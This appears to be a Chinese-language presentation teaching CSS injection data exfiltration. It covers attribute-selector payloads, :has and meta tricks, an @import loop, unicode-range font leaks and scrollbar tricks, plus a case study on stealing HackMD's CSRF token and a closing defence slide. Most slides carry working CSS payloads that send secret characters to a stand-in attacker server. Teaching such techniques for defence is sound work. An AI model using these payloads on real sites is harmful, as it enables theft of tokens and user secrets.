# CSS injection --- ## What? 可以在一個頁面上可以插入任何的 CSS 語法 (顧名思義: 你可以插入 `<style>` 這個標籤) <br/> <font size="3"> <ol> <li> 網站可以插入 HTML,但是由於 CSP 無法執行 JavaScript </li> <li> 雖然網站有過濾掉許多 HTML 標籤,但不覺得 &lt; style &gt; 有問題,所以沒有過濾掉。像 <a href="https://github.com/cure53/DOMPurify" target="_blank">DOMPurify</a> 就把 &lt; style &gt; 設定在安全標籤 </li> </ol> </font> --- ## How? ###### 屬性選擇器 X 利用 CSS 發出 request ###### 1. 屬性選擇器 1. `input[value^=a]` 開頭是 a 的(prefix) 2. `input[value$=a]` 結尾是 a 的(suffix) 3. `input[value*=a]` 內容有 a 的(contains) ---- ## How? ###### 屬性選擇器 X 利用 CSS 發出 request ###### 2. 利用 CSS 發出 request ```htmlembedded= <input name="secret" value="abc123"> ``` ```css= input[name="secret"][value^="a"] { background: url(https://myserver.com?q=a) } input[name="secret"][value^="b"] { background: url(https://myserver.com?q=b) } input[name="secret"][value^="c"] { background: url(https://myserver.com?q=c) } //.... input[name="secret"][value^="z"] { background: url(https://myserver.com?q=z) } ``` Note: 因為第一條規則有順利找到對應的元素,所以 input 的背景就會是一張伺服器上的圖片,而瀏覽器就會發 request 到 https://myserver.com?q=a。 因此,當我在 server 收到這個 request 的時候,我就知道「input 的 value 屬性,第一個字元是 a」,就順利偷到了第一個字元。 ---- ## How? ###### 屬性選擇器 X 利用 CSS 發出 request ###### CSRF token ```htmlembedded= <form action="/action"> <input type="hidden" name="csrf-token" value="abc123"> <input name="username"> <input type="submit"> </form> ``` X 這樣無法 (input 亦無法從 css 直接強迫顯示) ```css= input[name="csrf-token"][value^="a"] { background: url(https://example.com?q=a) } ``` Note: 因為 input 的 type 是 hidden,所以這個元素不會顯示在畫面上,既然不會顯示,那瀏覽器就沒有必要載入背景圖片,因此 server 不會收到任何 request。而這個限制非常嚴格,就算用 display:block !important; 也沒辦法蓋過去。 ---- O 這樣可能可以 ```css= input[name="csrf-token"][value^="a"] + input { background: url(https://example.com?q=a) } form:has(input[name="csrf-token"][value^="a"]){ background: url(https://example.com?q=a) } ``` Note: + input,這個加號是另外一個選擇器,意思是「選到後面的元素」,所以整個選擇器合在一起,就是「我要選 name 是 csrf-token,value 開頭是 a 的 input,的後面那個 input」,也就是 `<input name="username">`。 有了 :has,這個選擇器可以選到「底下符合特殊條件的元素」 意思就是我要選到「底下有(符合那個條件的 input)的 form」,所以最後載入背景的會是 form,一樣也不是那個 hidden input。這個 has selector 很新,從上個月底釋出的 Chrome 105 開始才正式支援,目前只剩下 Firefox 的穩定版還沒支援了,詳情可看: --- ## How? ###### 屬性選擇器 X 利用 CSS 發出 request ###### 偷 meta `<meta name="csrf-token" content="abc123">` meta 這個元素一樣是看不見的元素,要怎麼偷呢? ---- ###### 偷 meta 1. `has` ```css= html:has(meta[name="csrf-token"][content^="a"]) { background: url(https://example.com?q=a); } ``` ---- ###### 偷 meta 2. 強迫顯示 ```css= head, meta { display: block; } meta[name="csrf-token"][content^="a"] { background: url(https://example.com?q=a); } ``` Note: meta 雖然也看不到,但跟 hidden input 不同,我們可以自己用 CSS 讓這個元素變成可見,可是這樣還不夠,你會發現 request 還是沒有送出,這是因為 meta 在 head 底下,而 head 也有預設的 display:none 屬性,因此也要幫 head 特別設置,才會讓 meta「能被看到」 --- ## 實例 ###### 偷 HackMD 的資料 ```htmlembedded= <meta name="csrf-token" content="DochvZSX-kH2TbFcmn-rviBGiBCnpUFX8ttk"> ``` ---- ###### 偷 HackMD 的資料 ###### 可行的原因 1. 支援使用 `<style>` 2. 支援即時更新 (因為 csrf token 重整會換,但我們需要一直更新 style) ---- ###### 偷 HackMD 的資料 ![](https://i.imgur.com/74pA7YE.png) Note: 準備好偷第一個字元的 style,插入到 HackMD 裡面 受害者打開頁面 伺服器收到第一個字元的 request 從伺服器更新 HackMD 內容,換成偷第二個字元的 payload 受害者頁面即時更新,載入新的 style 伺服器收到第二個字元的 request 不斷循環直到偷完所有字元 ---- ###### 偷 HackMD 的資料 ###### BUT 就算偷到了 HackMD 的 CSRF token,依然還是沒辦法 CSRF,因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等,確保 request 來自合法的地方。 --- ## 補充 1 ###### 不支援即時更新的網站? 在不使用 JS 的情況下怎麼動態載入新的 style? 使用 `@import` Note: 在 CSS 裡面,你可以用 @import 去把外部的其他 style 引入進來,就像 JavaScript 的 import 那樣。 ---- ###### 不支援即時更新的網站? 引入 style 的迴圈 ```htmlmixed= <style>=== @import url(https://myserver.com/start?len=8) </style> ``` server 回傳 ```css= @import url(https://myserver.com/payload?len=1) @import url(https://myserver.com/payload?len=2) @import url(https://myserver.com/payload?len=3) @import url(https://myserver.com/payload?len=4) @import url(https://myserver.com/payload?len=5) @import url(https://myserver.com/payload?len=6) @import url(https://myserver.com/payload?len=7) @import url(https://myserver.com/payload?len=8) ``` Note: 重點來了,這邊雖然一次引入了 8 個,但是「後面 7 個 request,server 都會先 hang 住,不會給 response」,只有第一個網址 https://myserver.com/payload?len=1 會回傳 response,內容為之前提過的偷資料 payload ---- ###### 不支援即時更新的網站? 第一次回傳的 style ```css= input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } input[name="secret"][value^="c"] { background: url(https://b.myserver.com/leak?q=c) } //.... input[name="secret"][value^="z"] { background: url(https://b.myserver.com/leak?q=z) } ``` Note: 當瀏覽器收到 response 的時候,就會先載入上面這一段 CSS,載入完以後符合條件的元素就會發 request 到後端,假設第一個字是 d 好了,接著 server 這時候才回傳 https://myserver.com/payload?len=2 的 response ---- ###### 不支援即時更新的網站? 假設是 d 開頭,回傳以下的 style,然後以此類推 ```css= input[name="secret"][value^="da"] { background: url(https://b.myserver.com/leak?q=da) } input[name="secret"][value^="db"] { background: url(https://b.myserver.com/leak?q=db) } input[name="secret"][value^="dc"] { background: url(https://b.myserver.com/leak?q=dc) } //.... input[name="secret"][value^="dz"] { background: url(https://b.myserver.com/leak?q=dz) } ``` Note: 這邊有一點要特別注意,你會發現我們載入 style 的 domain 是 myserver.com,而背景圖片的 domain 是 b.myserver.com,這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制,所以如果你全部都是用 myserver.com 的話,會發現背景圖片的 request 送不出去,都被 CSS import 給卡住了。 ---- ###### 不支援即時更新的網站? Firefox 不支援前面的做法,需改下面做法,Chrome 也支援 ```htmlembedded= <style>@import url(https://myserver.com/payload?len=1)</style> <style>@import url(https://myserver.com/payload?len=2)</style> <style>@import url(https://myserver.com/payload?len=3)</style> <style>@import url(https://myserver.com/payload?len=4)</style> <style>@import url(https://myserver.com/payload?len=5)</style> <style>@import url(https://myserver.com/payload?len=6)</style> <style>@import url(https://myserver.com/payload?len=7)</style> <style>@import url(https://myserver.com/payload?len=8)</style> ``` Note: 除此之外,上面這種方式在 Firefox 是行不通的,因為在 Firefox 上就算第一個的 response 先回來,也不會立刻更新 style,要等所有 request 都回來才會一起更新。解法的話可以參考這一篇:CSS data exfiltration in Firefox via a single injection point,把第一步的 import 拿掉,然後每一個字元的 import 都用額外的 style 包著。 --- ## 補充 2 ###### 一次只偷一個字元? HackMD 的 CSRF token 共有 36 個字,要發 36 個 request? ---- ###### 一次只偷一個字元? prefix selector + suffix selector ```css= input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } // ... input[name="secret"][value$="a"] { border-background: url(https://b.myserver2.com/suffix?q=a) } input[name="secret"][value$="b"] { border-background: url(https://b.myserver2.com/suffix?q=b) } ``` Note: 要特別注意的是開頭跟結尾的 CSS,一個用的是 background,另一個用的是 border-background,是不同的屬性,因為如果用同一個屬性的話,內容就會被其他的蓋掉,最後只會發出一個 request。 除此之外,也可以朝 server 那邊去改善,例如說改用 HTTP/2 或甚至是 HTTP/3,都有機會能夠加速 request 載入的速度,進而提升效率。 --- ## 補充 3 ###### 前面是偷屬性,其他東西? unicode-range ---- ###### 前面是偷屬性,其他東西? ```htmlembedded= <!DOCTYPE html> <html> <body> <style> @font-face { font-family: "Ampersand"; src: local("Times New Roman"); unicode-range: U+26; } div { font-size: 4em; font-family: Ampersand, Helvetica, sans-serif; } </style> <div>Me & You = Us</div> </body> </html> ``` Note: 「unicode-range」,可以針對不同的字元,載入不同的字體。& 的 unicode 是 U+0026,因此只有 & 這個字會用不同的字體來顯示,其他都用同一個字體。 ---- ###### 前面是偷屬性,其他東西? ```htmlembedded= <!DOCTYPE html> <html> <body> <style> @font-face { font-family: "f1"; src: url(https://myserver.com?q=1); unicode-range: U+31; } @font-face { font-family: "f2"; src: url(https://myserver.com?q=2); unicode-range: U+32; } @font-face { font-family: "f3"; src: url(https://myserver.com?q=3); unicode-range: U+33; } @font-face { font-family: "fa"; src: url(https://myserver.com?q=a); unicode-range: U+61; } @font-face { font-family: "fb"; src: url(https://myserver.com?q=b); unicode-range: U+62; } @font-face { font-family: "fc"; src: url(https://myserver.com?q=c); unicode-range: U+63; } div { font-size: 4em; font-family: f1, f2, f3, fa, fb, fc; } </style> Secret: <div>ca31a</div> </body> </html> ``` ---- ###### 前面是偷屬性,其他東西? 如果你去看 network tab,會看到一共發送了 4 個 request: 可以得知頁面上有:13ac 這四個字元。 ![](https://i.imgur.com/CQkSMGO.png) ---- ###### 前面是偷屬性,其他東西? 侷限 1. 我們不知道字元的順序為何 2. 重複的字元也不會知道 ---- ###### 前面是偷屬性,其他東西? | 解決字元順序 字體高度差異 + first-line + scrollbar 1. 內建字體「Comic Sans MS」的字體,高度就比另一個「Courier New」高 2. `unicode-range` css 屬性控制字元的字體 3. 用 css 限制寬高,並透過 scrollbar 是否顯示,來發 request ![](https://i.imgur.com/TCK4M1d.png) [DEMO](https://demo.vwzq.net/css2.html) ---- ###### 前面是偷屬性,其他東西? | 解決字元順序 ```css= div { font-size: 0px; height: 40px; width: 20px; font-family: fc, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; --leak: url(http://myserver.com?C); } div::first-line{ font-size: 30px; } div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: var(--leak); } ``` ---- ###### 前面是偷屬性,其他東西? | 解決重複字元 某些字型當中,會把一些特定的組合 render 成連在一起的樣子,出現時就把他的寬度拉超大讓 scrollbar 出現 ![](https://i.imgur.com/ASNclic.png) ---- ###### 前面是偷屬性,其他東西? | 解決重複字元 實戰上的話,可以用 SVG 搭配其他工具,在 server 端迅速產生字體 --- ## 防禦 1. 不給用 style 2. 若開放 style,則用 CSP 限制資源載入(例如限制只能讀取特定來源的字體,阻擋@import 使用) 3. 預想某些東西被偷走之後可以對應的方式 Note: 3. 預想若 CSRF token 被偷走可以怎麼防禦
{"metaMigratedAt":"2023-06-17T10:57:16.033Z","metaMigratedFrom":"YAML","title":"css injection","breaks":true,"contributors":"[{\"id\":\"1db58682-ae66-4fa3-b482-aa32e54bc1d6\",\"add\":8612,\"del\":7646}]"}
    519 views